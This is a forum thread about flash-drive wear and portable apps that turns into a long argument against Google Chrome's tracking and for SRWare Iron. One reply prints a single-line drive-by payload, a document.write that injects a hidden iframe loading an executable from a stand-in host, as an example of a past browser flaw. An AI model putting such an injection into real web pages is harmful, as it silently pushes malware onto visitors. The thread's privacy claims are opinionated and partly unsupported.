What causes a Flash Drive to wear out ?

then there should be no big reason to copy all the stuff back and forth.
The whole thing can also break some functions which might not be 100% portable. So I see no reason for your complex operations.

otherwise: best browser?? hmmm....??

otherwise: yeah, best browser, it doesn't BUG you in the face when an extension needs updating, and there is NO NEED TO RESTART Browser when doing Changes or Installing/Updating Extensions, except when the browser itself is updated but again, Chrome doesn't notify you to restart browser therefore you can focus on what's important and finish your assignment on time. +Minimal design.

One could very much argue about your preferences of something being the best! The part about having minimal design is the only valid argument you made, actually.

Logical review of both your and my thoughts on the subject:

and has everything FF has (right?) +No Restart +No annoyances
+Auto Update for Browser/Extensions/Flash(dev), not to mention
its Sync between any Computer you use by entering your Google
account, Sync for Bookmarks, Settings(dev)and Themes(dev).

And from here only the "+No Restart" point has value, since other things 
FF either has (auto-updates with or without prompt and such), or can have
via add-ons (Sync and the rest).

Now, since I said what I did, you must think I'm a Firefox fanboy, right?
Well, I am..actually.. :) But that's not the point. I also use Opera and 
Iron daily, and Safari from time to time... I'll just try to point your 
reasoning in the right direction.

Google Chrome could be said to be the best for having a faster Java-render
engine than FF, or for supporting HTML5 (like other big-ones out there),
or for passing Acid3 test with 100/100, or for having each tab run a
separate process, or for having the Adobe Flash built-in, or for.......
many things, plus the one you said about the minimalistic user interface.
But for not notifying a user of something it's doing??? Are you, sorry for
the expression, so dimwitted (!) that you actually like not knowing what
a program does behind your back?

Now, will you please, I'm kindly asking you, read THIS Wikipedia article
about how Google Chrome is tracking what you do anywhere and everywhere!
Do you know it even tracks what you start typing into a search box (!!!),
and stores it, together with your IP and useragent string, for a minimal
interval of half a year? Do you know that their "Installation" and "RLZ
Identifier" methods can track you even if using a portable browser? Do you
know how previous versions (thank God it got fixed) could install to your
computer anything, literally ANYTHING you encounter on the Internet if a
page has one single-line command? FYI, that command is
document.write('{iframe src="http://www.example.com/VIRUS.exe" frameborder="0" width="0" height="0"}');
 (with  brackets instead of { } )
Do you know I could write an entire article about what Google Chrome does
why you shouldn't be using it yet?

On the bright side, since Google Chrome, as you called it "the best
browser", is Open Source, some nice fellas who know what they are doing
have actually taken it's source code, edited out all the privacy issues and
back doors, added some features, and published their software under the
name of SRWare Iron (Wikipedia page). It's also Open Source, so anyone can
see that they have actually done what they claim. They even have a portable
version of SRWare Iron on their own website, here (SRWare website)

About copying/moving vs. running from a stick:

Now, for your original question, the answer is "depends!". You might
prolong the life of your USB flash drive by doing it, but you have to do it
correctly. Copying only several modified files back to your stick will
certainly improve both performance and USB flash drive's life, over running
apps from the stick directly. But you have to bear this in mind:
- PortableApps officially support only the drive-letter changing (i.e: from
C:\PortableApps to G:\PortableApps and back), NOT the path changing (i.e:
from G:\PortableApps to C:\Users\school\Desktop and back). What that means
is, in order for you to keep your preferences/extensions/whatever working,
you should always copy them to exact same PATH on the local computer, as they
are on your stick. If you don't have Admin access, and you'll not get it at
schools or libraries, it will be difficult, or even impossible, to copy
anything to the root of C:\ drive. Possibly not even to the roots of other
drives, depending on the particular security settings of that computer. So
it's basically better to leave them on the stick and run from there.

Now, one last, most sincere plead for you not to use Google Chrome, for your own privacy's sake! If you like Chrome so very much, than please use SRWare Iron, since it's functionally the same, with user-tracking removed and some features added. If you want to replace Chrome beta (version 5), Iron 5 beta can be found in SRWare's forums, or directly downloaded from here: (local version, THEIR portable version, unofficial portable version FROM OUR FORUMS)

Btw, "collage" is not yet another word for "college". Well, one learns while he lives I know you're not from an English speaking area, I am just telling you the difference so you can learn... No offense meant

Oh, one last thing... If you ever get a response from ottosykora, as he is the one who responded to you previously, trust him about what he says. He always provides true and correct information, and if he decided not to resort to explaining why he disagrees about Chrome being the best browser, it doesn't mean he wasn't right. Sorry for the lengthy reply, I fit it in the boxes for better overview... Take care